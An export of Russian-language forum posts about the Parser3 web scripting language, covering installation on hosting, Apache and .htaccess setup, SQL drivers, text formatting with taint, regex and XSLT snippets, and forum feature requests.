libxml-devel-1.8.17-alt3\
libxml2-devel-2.6.3-alt1\
xml-commons-javadoc-1.0-alt0.1.b2\
xmltex-1.8-alt5"
"24890","Неплохо было бы прикрутить Postgres, т.к. многие хостеры предлагают его в альтернативу MySQL, устанавливать ODBC драйверы для этих СУБД.\
Хотелось бы видеть какой-никакой интерфейс для настройки сервера (настройка хостов (в том числе и виртуальных) и доменов, редактирование HOSTS, .htaccess)"
"24891","была типа $SQL.connect-string[mysql://логин:пароль@localhost/db?charset=cp1251_koi8\
а я ее на $SQL.connect-string[mysql://логин:пароль@localhost/db поменял, хотя это чисто эксперементально вышло, не знал что это могло повлиять"
"24892","Постгрес предлагают очень немногие, а жаль, и причём его поддержка похуже будет. Хотя СУБД \"правильная\", сам на ней сижу."
"24893","А libgdome стоит?\
\
P.S. Если вы пытаетесь собрать парсер из CVS HEAD, учтите - Александр перед Новым Годом изменил API драйверов баз данных, а сами драйвера еще не поправил. Так что ничего кроме драйвера Oracle вы из CVS HEAD сейчас не соберете ... (если только сами не внесете нужные изменения в код драйверов)"
"24894","Да, Вы правы - libgdome не стоял. Спасибо.\
\
P.S. А когда Paf поправит драйвера никто не знает? :)"
"24895","Каждый имеет право на отдых!Подправьте сами!\
 Возможно я не прав, но измения требуются минимальные. Хотя ... Александр, возможно, планирует внести более кардинальные изменения в API драйверов, чем формат вызова ряда функций. Если есть желание сравните код драйверов Oracle и нужного вам ... а дальше дело техники"
"24896","Прошу прощения, но я не говорил чтоб он бросил все и исправил драйвер - я просто спросил. И изменить я ничего не могу - я не сионист :(\
Но мне это не к спеху, так что могу подождать."
"24897","Денвер весьма хорош. Либо я в нем не разобрался. Хотелось бы пожелать разве, чтобы шли одновременно две, нет, три версии (возможно кому-то действительно нужна версия на одну дискету): версия легкая для скачивания и версия не совсем легкая. И чтоб в последней было все, что нужно для счастья в тестировании и отладки.\
\
Успехов в работе создателям Денвера!"
"24898","У вас замечательный форум, но есть одно но.\
\
Так как я часто использую Парсер, то временами читаю форум, чтобы найти ответы на свои вопросы. И обнаруживаю, что форум просто завален весьма бессмысленными вопросами, которые появляются у людей в основном из-за их лености.\
В результате теряю время на поиски интересных вопросов.\
\
Пожелание следующее, разделите как-нибудь форум на два раздела: избранные вопросы и вопросы общие. У модератора появится небольшая обязанность. Из общего раздела переносить интересные ветки в раздел избранных. \
\
Думаю польза будем огромная. Можно будет заниматься чтением интересных вопросов и ответов на них из избранного и оставлять вопросы в общем разделе.\
\
Строка поиска вещь хорошая (первый раз, вообще, вижу поиск по форуму), но она не ограждает от мусора и в результате там тоже приходится очень долго рыться.\
\
С уважением, Просто Дизайнер."
"24899","Мне нравиться формат форума, тоесть эти треды - самое лучшие, что может быть для такого форума, хотелось бы увидеть возможность редактирования своего сообщения, а может быть и его удаления: если уже сам нашёл решение и на это сообщение еще никто не успел ответить.\
\
ps. для Peranth : я и раньше на других форумах видел возможность поиска  ;-)))))))))))"
"24900","кнопка слева \"Изменить\" :)"
"24901","но около предыдущего моего сообщения я такой кнопочки не видел :("
"24903","В идеале можно было бы сделать формат зависимый от настроек юзера.\
Т.е. древовидный как сейчас и на манер пхп форумов, где все сообщения в треде выводятся разом."
"24904","выбор типа отображения дискуссий формуов считаю вещью, которая может быть выбрана в самом начале его жизни и никак не может быть настройкой пользователя.\
\
почему?\
\
дело в том, что древовидный форум отображает кто на что отвечает, а в plain форумах для этого активно используют \"цитирование\". зато у plain форумов вовсю проявляется их преимущество при \"диалогах\", когда не требуется тыкать по сообщениям, а весь диалог (вопрос/ответ…) двух людей сразу открывается посетителю полностью.\
\
т.е. люди, которые смотрят форум в plain виде не поймут, что пишут отвечающие, которые отвечают видя форум в виде дерева. и наоборот, люди смотрящие древовидный форум будут недоумевать, что-это ответ на вот то корневое сообщение (или на какое-нить глубокое сообщение) лежит не там, где ему положено лежать, плюс ко всему не будут понимать, зачем тут избыточно используется цитирование.\
\
к чему это я всё сказал? возможно я скоро сделаю выбор варианта отобращения форума (это просто), но это никогда [b]у меня[/b] не будет настройкой пользователя по отображению."
"24905","во первых она не такая уж \"небольшая\".\
\
во вторых есть FAQ куда я стараюсь выносить наиболее частовстречающиеся вопросы, предварительно обработав их и внеся в определенный раздел.\
\
в третьих, если мне будут подсказывать, то выносить буду больше.\
\
и в четвертых, вы считаете что будет лучше, если искать придется не в одном, а в двух форумах, при это единожды увидев что-то в \"общих вопросах\" посетитель не будет уверен, что зайдя следующий раз в форум (или оставив в закладнах ссылку) он найдет то, что читал там до этого… (модератор мог перенести…)"
"24906","Подскажите, облазил весь форум.\
куда писать $CLASS_PATH[^table::create{path\
/classes/\
}]\
\
файла parser3.conf я нигде не видел."
"24908","Я думаю стоит попробовать в auto.p"
"24911","Возникл такой  вопрос.\
Есть функция в которой только html код все работало, как только решил в функцию добавить проверку условия сразу возникла ошибка:\
\"метод main принимает(передает) максимально 3 параметра\
if\
\"\
в чем я ошибаюсь, в документации ничего не нашел"
"24913","> во первых она не такая уж \"небольшая\".\
\
  Модератору виднее, большая она или нет.\
\
> во вторых есть FAQ куда я стараюсь выносить наиболее \
> в третьих, если мне будут подсказывать, \
> то выносить буду больше.\
\
  Ну что-ж, готов подсказывать. Буду стараться.\
  А если я буду подсказывать темами. \
  Например сообщу что тема 404 ошибки достойна занесения в FAQ?\
\
  И еще, можно придумать галочку, которую можно было бы ставить на корнях интересных веток и модератору останется проверять только этот список? Дать право ставить галочки для специальных сомодераторах. Я был бы готов этим заниматься.\
\
> и в четвертых, вы считаете что будет лучше, если искать \
> придется не в одном, а в двух форумах, при это единожды увидев \
> что-то в \"общих вопросах\" посетитель не будет уверен, что ...\
\
  Логично.\
  Можно конечно оставлять не дупликаты, а ссылки для \
  перенаправления запроса."
"24914","Задача: выдать любой n-абзац из текста при этом абзацы могут быть разделены как обычными переводами строки, так и тегами <br />,<p> и т.д."
"24915","Оставьте всё как есть, а? Лучшее - враг! :)"
"24916","На хостинге www.net.ru скриптам для работы отводится определенное время, по окончанию которого они убиваются.\
\
Хостинг разный бывает :)"
"24917","Я думал среди программистов нет консерваторов.\
Хотя возможно это из той же оперы...\
   подходит сынок к папе-программисту \
   и говорит: \"А на небе солнышко светит\"...\
\
Но по-мойму это слова ленивых программистов, которые сделали хорошее дело и не собираются его развивать."
"24918","Лучше подождать ПАФа - там хоть и не радикально всё переделано, но всё же прилично, и сведений полученных из простого сравнения файлов, может оказаться явно недостаточно."
"24919","всё это вопросы вкуса. Мне нравится так, другим нет. По-моему и вправду не стоит делать радикально разные способы представления.\
\
PS: Странные вы товарищи - в форумах ночами сидите, я обычно в это время немного другим занимаюсь :))"
"24920","Сейчас очень многие скриптовые языки (может Парсер тоже им является?) предоставляют возможность генерировать ошибку, если переменная перед использованием не определена (как у \"больших\" братьев, где требуется обязательное определение переменных). Я считаю, что добавление данной возможности снизит количество ошибок при написании скриптов и их модификации (во всяком случае, для новичков)."
"24922","с помощью регулярных выражений привести к виду <p>Абзац</p>, ну а после этого берем то, что нужно. Проблемы могут возникнуть, если внутри получившегося абзаца будут незакрытые теги, но это уже пусть будет на душе у автора страницы.\
Regexp см. http://spearance.tura.ru/parser3/regex/ и http://spearance.tura.ru/parser3/regex/?no=2 (из Ваших же трудов)"
"24923","Когда находишься внутри треда, не мешало бы сделать кнопочку прочитать все.\
Я (как человек ленивый) нажимал бы ее и было бы мне счастье. Разом бы прочитывал весь тред, вместо того чтобы кликать на каждую запись в отдельности. А кто, и в какой последовательности на что ответил я всегда могу посмотреть по дереву."
"24924","Я пока придумал только один выход. Сохранять изначально текст в XML с разбиением на абзацы, и потом при обработке обращаться непосредственно к нужному абзацу.\
\
Если не прав, умные люди, поправьте...\
\
Можно еще потревожить PAF-а, и попросить внести в split возможность поиска по regex выражению, тогда бы эта задача решалась проще некуда."
"24925","... Вещь реально полезная во многих случаях. И отностится не только к паскалю... :)\
\
Другое дело, что вопрос был немного не про это. Разговор идет о том, что если пользователь не  присвоил какое-либо значение переменной, то при попытке ее использовать должна появляться ошибка. Но в контексте Парсера это работать не будет поскольку в нем любая переменная инициализированна пустой строкой!"
"24926","Только я собрал драйвер для Firebird под линукс как его сразу пришлось переделывать под новый API. Пока внеся косметические изменения помогли ... хотя думаю за ними последуют более значительные. Будем Ждать Александра - он прольет свет на новый API :)"
"24927","ради интереса проверил - изменить сообщение можно даже если на него есть ответы. Кнопочка \"Изменить\" конечно не появится, но любитель может написать /message.html?id=*****&edit=true. \
\
Наверно, это стоит запретить, чтобы никто типа меня не баловался :)"
"24928","Пусть в $text нужный текст, а в $pNum - номер искомого параграфа.\
\
Тогда:\
[code]\
# счетчик в ноль\
$pCntr(0)\
# готовим текст:\
# выкидываем <br>, <br/>, <br />\
$tmp[^text.match[<br[^^>]*>][gi]{^#0A}]\
# выкидываем <p></p>\
$tmp[^tmp.match[<p[^^>]*>(.*?)</p>][gi]{^#0A$match.1^#0A}]\
# понеслась...\
^try{\
# с модификатором m берем каждую непустую строку и считаем\
# (а зачем нам пустые строки? это явно не параграфы)\
# как насчитали нужное - сохраняем и отваливаем\
	$tmp[^tmp.match[^^(.+)^$][gmi]{^pCntr.inc(1)^if($pCntr == $pNum){$found[$match.1]^throw[pFound;found]}}]\
}{\
# не забываем, что отвалили по exception\
	$exception.handled(1)\
}\
\
# как и просили, параграф номер $pNum в переменной $found\
Para No. $pNum is:\
<p bgcolor=\"#eeeeee\">\
	$found\
</p>\
[/code]"
"24929","... сделать и с объявлением переменных. кто слышал (или знает) о копипиляторах (как впрочем и об интерпретаторах), тот знает, что там есть словарь переменных (у Парсера, наверняка, тоже есть. исходники не смотрел). так достаточно при определении переменной заносить ее в этот словать и инициализировать (сейчас эта операция делается при первом упоминании переменной). ну а при первом упоминании переменной, если ее нет в словаре, то генерировать ошибку. \
для совместимости с предыдущими версиями можно сделать в начале модуля опцию включения данной фичи (например как в VB option explicit).\
PS: на самом деле я имел ввиду именно невозможность любого использования перед определением (как чтение значения, так и присваивание). к этому же можно прикрутить область видимости на уровне класса или в рамках конкретного метода.\
\
ЗЫ: Давайте \"очеловечим\" Парсер!... и прикрутим к нему компилятор... (может и не шучу)"
"24930","Я считаю что программить ошибку, чтобы потом ее обработать не есть гуд."
"24931","Мне такое никогда нужно не было.\
Вы хотите увеличить размер кода на 10-20-30% не увеличив при этом ни на каплю читаемость?\
\
Каких ошибок при этом избежим?\
Расстановки \"пробелов\" вместо \"табуляции\" при ^table::create/load? Сомнительно...\
\
Или Вам будет легче от записи\
[code]table $myTable[^table::create[...]][/code]\
вместо\
[code]$myTable[^table::create[...]][/code]?\
\
Или не хватает\
[code]Dim blah as integer\
Dim blah-blah as table\
Dim blah-blah-blah as xdoc[/code]\
или\
[code]var\
    blah: int;\
    blah-blah: table;\
    blah-blah-blah: xdoc;[/code]\
на пол-страницы?\
(это кстати, легко эмулируется оператором ^rem{})\
\
Что же тогда от этого изменится?"
"24932","Ничего, кроме скорости выполнения на малом номере параграфа не изменится.\
А можете вместо последнего матча заменить [b]\\n\\n+[/b] на [b]\\n[/b] и посплитить по нему. Чето делать с таблицей - уже очевидно."
"24935","…однако я не очень представляю себе, как это все нормально показать на странице.\
\
так, как это сделано например тут: http://www.shokoladki.ru/forum/?id=361 меня не устраивает по причине того, что там треды маленькие… \
\
например вот тут: http://www.shokoladki.ru/forum/?id=257 выглядит уже достаточно погано. а у нас треды очень часто имеют б[b]о[/b]льший размер…"
"24936","хотя первый приходящий аргумент против: вместе с помеченым корневым сообщением пометится весь тред, в котором очень часто много того \"мусора\" от которого вы так хотите избавиться. наверное все-таки лучше подходит идея, реализванная Sanja v.2 ;)\
\
что касается 404 ошибки, то я не очень понимаю, при чем тут парсер? или проблема в том, что в случае назначения обработчиком html парсера при обращении к несуществующему файлу с расширением html выдается парсерная ошибка, а не показывается файл с 404 ошибкой, указанный в .htaccess? если да, то повялюсь н работе - добавлю… если не забуду ;)"
"24937","[code]\
$xslt_str[<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
<xsl:template match=\"alphabet\">\
	<xsl:for-each select=\"letter\">\
		<a href=\"letter.html?{@id}\" title=\"index.html?letter={@id}\">\
			<xsl:value-of select=\".\"/>\
		</a>\
		<br/>\
	</xsl:for-each>\
</xsl:template>\
</xsl:stylesheet>\
]\
$xslt_xdoc[^xdoc::create{$xslt_str}]\
\
$xml_str[<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
	<alphabet>\
		<letter id=\"Й\">ЙЙЙ</letter>\
		<letter id=\"q\">qqq</letter>\
	</alphabet>	\
]\
$xml_xdoc[^xdoc::create{$xml_str}]\
\
$transformedDoc[^xml_xdoc.transform[$xslt_xdoc]]\
^transformedDoc.string[\
    $.method[html]\
    $.encoding[windows-1251]\
]\
\
[/code]\
Вот что получается (обратите внимание на русские буквы в href):\
[code]\
<a href=\"letter.html?%D0%99\" title=\"index.html?letter=Й\">ЙЙЙ</a><br>\
<a href=\"letter.html?q\" title=\"index.html?letter=q\">qqq</a><br>\
[/code]\
и шут бы с ним, если бы в $form: потом не падало что-то типа \"Р™\"\
почему так? и почему ломаеться только href?"
"24939","> хотя первый приходящий аргумент против: вместе с помеченым \
> корневым сообщением пометится весь тред, в котором очень часто \
> много того \"мусора\" от которого вы так хотите избавиться. \
\
Я думаю что от всего мусора все-равного не избавиться.\
Но вот от части хотелось бы. Кстати, как тут автоматическое цитирование сделать? Или это не сделано?\
\
> наверное все-таки лучше подходит идея, \
> реализванная Sanja v.2 ;)\
\
Поясните, не понял про Саню в.2\
\
>что касается 404 ошибки, то я не очень понимаю, при чем тут \
> парсер? или проблема в том, что в случае назначения \
\
:) Это я для примера написал. Но если про нее нет в FAQ, то было бы неплохо записать."
"24940","...вроде бы."
"24941","играюсь я, играюсь :)"
"24942","а Sanja предлегал вот что: http://www.parser.ru/forum/?id=17109\
\
про 404 ошибку я так и не понял. на мой вопрос не было ни да ни нет. записать в faq можно много чего, только во первых я не уверен, что это судут [b]часто[/b] задаваемые вопросы, а во вторых его всё равно мало кто читает, особенно из тех, кто задает вопросы пережеваные везде, где только можно."
"24943","А можно ссылку на FAQ повесить поверх всех тем и деревьев?\
\
Или сделать около кнопочки \"добавить\" ссылку: \"а вдруг уже спросили?\"\
\
Для пущей очевидности."
"24944","что можно:\
1. не делать мусорную корзину из переменных в классе и ограничить видимость переменных конкретным методом (ведь я могу получить доступ к любой переменной класса, в том числе и к счетчику, и временным переменным и т.д.)\
2. избавиться от переопределения значения переменной одного метода в другом\
[code]\
@doFor[val]\
#здесь убивается всеми любимая переменная i, которая используется как счетчик\
   ^for[i](1;8){ \
       $val\
   }[<br>] \
\
@main[]\
   ^for[i](1;4){ \
      do something \
      @doFor[$param]\
   }[<br>] \
\
[/code]\
3. не придется искать дурацкую ошибку вида\
[code]\
$SomeStrangeVar[my value]\
... здесь много разного кода ... или не много ...\
$NewStrangeVar[$someStrangeVar]\
[/code]\
\
На маленьких проектах и маленьких классах Ваши замечания имеют почву под собой, но на достаточно крупных проектах или при наличии большого количества классов и методов в них выигрыш от применения строгого определения переменных будет. да и при изучении Парсера данная фича поможет.\
Я специально ранее сделал оговорку, что можно сделать данную фичу опциональной. кто захотел, тот включил, а кто нет, пусть работает по старинке."
"24948","http://www.parser.ru/docs/lang/definemethod.htm\
\
отсюда делаем выводы и пишем:\
[code]\
@doFor[val][i]\
# здесь НЕ убивается всеми любимая переменная i, \
# которая используется как счетчик, т.к. она люъявлена ЛОКАЛЬНОЙ\
^for[i](1;8){ \
    $val\
}[<br />]\
[/code]"
"24949","в Regexp есть такой модификатор\
a{n,m} = match at least n times, but not more than m times. \
a{n,} = match at least n or more times \
a{n} = match exactly n times \
\
может его прикрутить? (хотя, хоть убей, не могу понять, почему необходимо получить именно 14 или 33 абзац? взял все и обработал то, что нужно)"
"24950","тяжело ищется информация в хелпе. структура мне не нравится.\
на счет названия переменных (когда ошибся с регистром одной буквы) вопрос остается открытым"
"24951","показать/скрыть сообщение? Для тех, кто на модеме, IMHO, удобнее будет..."
"24952","…что их заставляют грузить треды целиком :)\
\
особенно будет радовать ситуация с большим тредом, в котором они уже все читали и вдруг появилось одно новое сообщение :)"
"24953","заходим на страницу /docs/ в строке поиска пишем \"локальные переменные\" и жмем enter. первая полученая ссылка нужная... куда уж проще...\
\
что про меня, так я один раз прочитал доку не сильно вдумываясь (она не такая уж и большая). после этого я знаю что вообще парсер умеет. теперь когда мне надо я знаю ответ: умеет/не умеет, и остается лишь найти, при паре ключевых слов и поиске (как online так и в виндовом chm) это сделать мне не оставляет труда.\
\
а про имена переменных/методов с разными буквами (если точнее то ругань при использовании незадекларированных переменных)... да, тут строгая типизация и обязательное объявление переменных помогли-бы, но мне кажется это не такая уж частовостребованная вещь...\
\
что до меня так мне больше было-бы по душе, если бы ВСЕ переменные по умолчанию были локальными, и лишь при явном указании они становились бы глобальными. однако это лишь моя привычка :)"
"24954","всё так, для просмотра новых сообщений форум организован замечательно, я поддержал  альтернативное http://www.parser.ru/forum/?id=24923 (в дополнение к существующему) передставление форума - это может пригодиться, когда ищешь что-то в форуме и для того, что-бы прочитать много сообщений приходиться все время быть подключённым: для диалапа - это накладно\
\
опять же,IMHO\
;)"
"24955","Все это конечно хорошо, что умелые люди общаются, но для таких, как я, никогда раньше не пользовавшихся Парсером, объясните пару моментов:\
1. Будет ли этот самый Парсер работать на хостинге 100Мб.ру?\
2. Будет ли этот самый Парсер лежать в моей директории на хостинге (на любом), сколько он будет весить, или же он будет установлен хостером по запросу (будет ли!) глобально?\
3. А если этот самый установлен будет, то есть ли где-нибудь простые примеры по использованию (дайте URL), например, чтобы вывести \
  а) текущую дату\
  б) hello world красным болдом\
  в) параметр, переданный через адресную строку\
Заранее спасибо :-)"
"24956","1. Настроите - будет.\
\
2. Положите - будет.\
Глобально установлен(ить) на хостере? - не есть хорошо (подробнее поиск по этому форуму)\
\
3. Примеры в документации."
"24957","Тогда я попробую, пожалуй, поставить :-)\
\
В идеале - хотелось бы увидеть сайт со структурой близкой к (не надо смеяться, плиз) - artlebedev.ru или - совсем оно -toster.ru ... такого рода примеры в документации есть?"
"24959","Вот представьте:\
1) скачал parser3_1_1_redhat73_cgi.tar.gz\
2) залил parser3.cgi (binary mode) в /cgi-bin/\
3) создал sections.cfg, auto.p и индекс.хтмл как в http://www.parser.ru/docs/lang/?lesson1.htm\
4) в .хтацесс вписал:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
CharsetDisable On\
5) запускаю индекс.хтмл - 500я ошибка. Apache/1.3.28 Server at 2004.bobych.spb.ru Port 80\
5A) убираю строку ЧарсетДисейбл Он - тоже самое.\
\
Может версия не для той операционки, как написано в FAQ? На хостере - 100mb.ru - написано у них Linux..."
"24961","Оказалось, все-таки под словом \"Linux\" хостер понимал FreeBSD.\
\
Приглашаю: 2004.bobych.spb.ru следить за учебой абсолютно нулевого пользователя (т.е. меня)... как будет создаваться нечто :-) типа онлайновое \"За Стеклом\""
"24962","У меня в базе есть текст, нужно вывести его на страницу с тем же форматированием - переводы строк, пробелы в кол-ве нескольких подряд и т.д.\
Заношу я текст в базу не напрямую - через стр. admin (копир. и встав. из Word) без использования [b]untaint[/b].  \
На той странице, где нужно текст получить, используя\
[b]untaint[/b] и [b]taint[/b] не выходит,\
или нужно делать по-другому другим способом...\
Подскажите пожалуйста как быть.."
"24963","1. какой именно код вы написали для вывода\
2. что выдал этот код\
3. что вы ожидали получить от написанного вами кода"
"24964","Обычный текст - пока без тегов, \
а просто с переводами строк и с пробелами...\
Текст выдается сплошным - без абзацев."
"24965","какой именно нужно написать язык сказано в документации и в примерах.\
\
вашего КОДА я так и не увидел -> ждите тех, кто сможет почесть ваши мысли. удачи…"
"24966","^taint[optimized-as-is][$table.body]\
или\
^taint[$table.body]\
вот код преобразования но наверно не тот,\
т.к. все по-прежнему.."
"24967","в доке русским по белому приведен синтаксис оператора (с примером вызова), и комментарий к optimized-as-is:\
[quot]\
[b]optimized-as-is, optimized-xml, optimized-html[/b]\
\
дополнительно к заменам [b]выполняется оптимизация по \"whitespaces\"[/b] (символы пробела, табуляция, перевода строки). \
\
Идущие подряд перечисленные символы заменяются только одним, который встречается в коде первым\
[/quot]\
\
что вы говорите парсеру сделать то он вам и делает (точнее начнет делать когда вы разберетесь со скобками)."
"24968","Все перепробовал\
^taint[optimized-as-is][$table.body] или\
^taint[optimized-html][$table.body]\
Работает, но без форматирования..."
"24969","optimized - это означает ОПТИМИЗИРОВАТЬ\
если вам НЕ надо отпимизировать - НЕ надо использовать optimized.\
\
страннО все это... я-же из доки скопировал нужное вам предложение, и выделил болдом то, что вам надо... пипец..."
"24970","В мануале такого нет. Страница парсер.ру/даунлоад/ ограничивается пятью словами. \
>> Скачайте архивы необходимыми вами SQL драйверами, и распакуйте их в каталог {куда вы установили Конфигурационный файл}/lib\
\
Вопрос: что такое \"конфигурационный файл\"? я ничего не устанавливал, кроме /cgi-bin/parser3.cgi и /.htaccess в главной.. Никакого lib у меня нет (это же папка Апача, доступ к которой есть только у администратора хостинга)... Куда залить драйвер Мускула (libparser3mysql.so)?"
"24971","со своей стороны привожу ссылку где как мне кажется подробно описан процесс установки, а также упоминается конфигурационный файл:\
\
http://www.parser.ru/download/freebsd/\
\
P.S. читать [b]по порядку[/b] текст в левой колонке."
"24972","С вариантами - \
^taint[as-is][$table.body]\
^taint[html][$table.body]\
^taint[$table.body]\
не получается.."
"24973","[quote]http://www.parser.ru/download/freebsd/[/quote] - там же :)\
\
Получается, нужно прочитать абзац 5, чтобы получить доступ к абзацу 15 о конфигурационном файле. Но если там написано, что он должен лежать в цги директории, то спрашивается, почему не написать ту же самую фразу в 15м абзаце? какая-то цепочка получается длинная.. \
\
ЗЫ. Дык почему у меня всё (ну без мускула, естесственно) работает без всякого конфигурационного файла сейчас ;) ?"
"24974","[quote]Но если там написано, что он должен лежать в цги директории, то спрашивается, почему не написать ту же самую фразу в 15м абзаце?[/quote]\
\
скачал, открыл, понял всё (в частности - о /LIB) ;-)"
"24975","например вместо parser.cgi может быть link на настоящий parser.cgi...\
\
получилоь - и славно. по моему если читать по порядку, то проблем не возникает."
"24976","А нужно ли в коде страницы с формами, через которые заносишь текст, использовать оператор taint, хотя без него текст в базу заносится с абзацами, но без отступов..."
"24977","Пытаю пример из документации о БД.\
\
[Wed Jan  7 22:35:49 2004] /admin/: /MYPATH/admin/index.html(29:13): 'insert into news |         (date, header, body) |      values  |         ('2004-1-7', 'zzz', 'зю') |      ' Unknown column 'header' in 'field list' [sql.execute] \
\
Какой-то странный еррор, не находите?\
\
Исполняется из 2004.bobych.spb.ru/admin/"
"24978","и не знаю что именно вы сделали...\
\
например вы создали таблицу в БД куда вы пытаетель вставить данные?\
у этой таблице есть колонка 'header'?\
\
1. подробное описание того, что вы делали. если писали какой-то парсерный код - copy/paste кода.\
2. что получили? (это есть)\
3. что ожидали получить?"
"24979","файл авто.п (локальный - in 'admin' folder):\
[code]\
@auto[] \
$connect_string[mysql://user:login@195.14.47.8:3306/bolinos] \
[/code]\
\
издержка из файла индекса:\
[code]\
<form method=\"POST\"> \
<p> \
Date: <input name=\"date\" value=\"${now.year}-${now.month}-${now.day}\"> \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
Header: <input name=\"header\"> \
</p> \
<p>Body:<br> \
<textarea cols=\"50\" name=\"body\" rows=\"5\"></textarea> \
</p> \
<p> \
<input type=\"submit\" value=\"Add New\" name=\"posted\">&nbsp;&nbsp;&nbsp; \
<input type=\"reset\" value=\"Cancel\"> \
</p> \
</form> \
\
#начало обработки \
^if(def $form:date && def $form:header && def $form:body){ \
   ^connect[$connect_string]{ \
      ^void:sql{insert into news \
         (date, header, body) \
      values  \
         ('$form:date', '$form:header', '$form:body') \
      } \
      …сообщение добавлено \
      } \
}{ \
   …для добавления новости необходимо заполнить все поля формы \
} \
</center> \
[/code]"
"24980","Ах, да, забыл обветить про базу. Нет, я в ней ничего вручную не делал, только создал в контролпанели хостера. А что, надо таблицы вручную создавать вперед? [ Подскажите команду для пхпмайадмин;) ]"
"24982",".. Небольшой модуль для парсера, в котором юзер вводит:\
1. логин, пасс, адрес базы и ее имя\
2А. необходимые имена таблиц для создания\
2Б. необх имена полей и их типы (drop-down менюшкой)\
а парсер все это создает.\
Универсальный модуль для админов чего угодно.\
\
\
ЗЫ. Повнимательнее почитал, но от этого не легче.. надо будет лезть и создавать самому в phpmyadmin..."
"24985","По форматированию могу еще предположить что вы стараетесь вывести текст без тегов <pre>. Если так, то вы никогда не получите на экране 5 пробелов подрят.\
Выход, либо все обрамить в <pre> либо для тега <p> задать CSS, чтобы пробелы не форматировались."
"24987","Если совсем не понятно по базам и таблицам - иди на сайт PARSER2.\
Там были примеры баз, код для их создания, примеры для создания форм, логика написания админских форм и вывода мало изменилась, изменился только язык и его возможности.\
еще:\
http://www.mysql.com/doc/ru/index.html\
доки по мускулю, на русском.\
\
и как говорили Миша и Серж: \"Читать маны ... Думать, думать головой!\"\
\
и работать и получать деньги за работу ))"
"24988","?"
"24990","если это все уже есть в phpmyadmin?"
"24991","Пытаюсь установить Парсер. Но почему-то не получается.\
Скачала версию для винды: parser3_1_1.exe.\
Написала в httpd.conf все как указано в \"ридми\", но при перезапуске апача выдается ошибка:\
\"AddHandler requires at least two arguments, a handler name followed by one or more file extentios...\"\
Что неправильно-то??\
\
LoadModule parser3_module \"c:\\parser\\ApacheModuleParser3.dll\"\
AddModule mod_parser3.c \
AddHandler parser3-handler html\
ParserConfig \"c:\\parser\\auto.p\"\
<Files ~ \"\\.p$\"> \
   Order allow,deny \
   Deny from all \
</Files>"
"24992","вам не приходила в голову мысль убрать некрасивый switch, заменив его на $hash.$english_name\
пример тут:\
http://www.parser.ru/docs/lang/table2hash.htm"
"24993","и точные места откуда и куда вам кажется логичным что-именно передвинуть?"
"24994","[code]\
$tData[^table::sql{\
   select\
     col1,\
     col2\
   from\
     table\
}]\
$xml[<?xml version=\"1.0\" encoding=\"$request:charset\"?>\
<document>\
^tData.menu{\
  <row>\
    <col1>$tData.col1</col1>\
    <col1>$tData.col2</col2>\
  </row>\
}\
</document>]\
# Если нужно в виде файла на диске\
^xml.save[/table.xml]\
[/code]"
"24995",":-/"
"24996","(мы увидели комментарий к доке :)\
\
выложу со следующим обновлением доки."
"24997","вместе доведём до кондиции.\
\
(дока по gpg простая до невозможности. именно \"gpg\")"
"24999","пользую в остальных отношениях очень удобную программу создания документаций"
"25000","Строка поиска == текст вашего сообщения об ошибке."
"25001","Если не трудно: напишите заметку в раздел http://www.parser.ru/hosters/ об установке Парсера на 100mb.ru. Тем самым поможете кому-нибудь ещё, кто будет вопрошать про этот хостинг."
"25002","а не так, как предполагает эта документация.\
\
из забавного в win32, входящий во многие поставки:\
guidgen\
\
создаёт, похоже, честный UUID. во всяком случае\
[code]\
{6BF66287-2DDF-4d56-B007-40328E7A40CE}\
{6703BD7A-097D-4bfd-80E1-18007523067F}\
{E6094DF4-8D2D-4179-9C4C-2FDB396850BC}\
{7A239A9F-2516-4771-BF14-A7563CBFA239}\
---------------^\
[/code]\
стабильно 4, и ещё в каком-то байте пара бит всё время фиксирована.\
\
однако в исходниках SSCLI наблюдается random.\
думается, пока от значения этого GUID не зависит жизнь человека, random[<<не очень простое явление] вполне достаточен."
"25003","Если бы вы поискали по форуму, то возможно решили бы свою проблему с AddHandler.\
\
\
Вот тред с подобной ошибкой \
http://www.parser.ru/forum/?id=12520\
Прочтите ответы на тот пост"
"25004","уже не раз рассказывал, что такое SIGPIPE.\
что до размера: возможно, вы где-то неосмотрительно перехватываете все exceptions и обработали его?"
"25005","вы не указываете =DIR"
"25007","и версию parser, которую используете"
"25010","если на русском то http://www.gnupg.org/documentation/manpage.ru.html\
если на английском -- http://www.gnupg.org/documentation/manpage.en.html"
"25011","Где можно скачать парсер скомпиленный без \"...safe mode..\"? У меня просто нет возможности ни изменить настроки сервера, ни перекомпилировать его самостоятельно - а время поджимает..."
"25013","дык это ж не удобно каждый раз лазить в phpmyadmin через контрол панель хостера... и вообще, лучше все в одной программе делать, чем в двух разных"
"25015","Парсер не видет сабж, что делать? Переименовать файл нет возможности..."
"25016","Дык я ж ни Парсера, ни языка запросов к SQL не знаю толком :) Вчера как создать таблицу в ПхпМайАдмин искал по запросу create table mysql в яндексе. нашёл, создал :-)"
"25018","[code]\
^mail:send[\
	$.from[<email@naodnomservere>]\
	$.to[<email@nadrugomservere>]\
	$.subject[topic]\
	$.file[^file::load[binary;imya_fayla_v_kotorom_est_'_]]\
]\
[/code]\
получаю\
[code]\
read failed: No such file or directory (2)\
[/code]"
"25019","Прошу прощенья, действительно - исчерпывающая информация находится здесь:\
http://www.parser.ru/forum/?id=12191"
"25020","Дайте плиз линк на какую-нибудь доку, где разъяснено отличие в языке между П2 и П3, плюс соответствие команд П2 и П3 и точно ли примеры из П2 не будут работать под П3?"
"25022","причина очевидна: неудобно делать href='xxx', и сделано всё, чтобы файл с таким именем не появился.\
\
если вы сами создали такой файл, сможете переименовать.\
если не сами, попросите их.\
если не можете, сделайте symlink/считайте скриптом, эта буква специально замучена."
"25023","линка нету, сравнивать их некорректно, это два совершенно разных языка. с тем-же успехом можно попытаться искать отличия между php и asp\
\
прямого соответствия комманд нет. если это интересует, то можете воспользоваться [url=\"/download/migration/\"]программой для миграции[/url]. однако я считаю, что делать этого не следует, значительно полезнее изучить p3 и написать то, что есть написаного на p2 на p3 самому. код будет понятнее и поддерживать будет проще.\
\
примеры точно не будут работать."
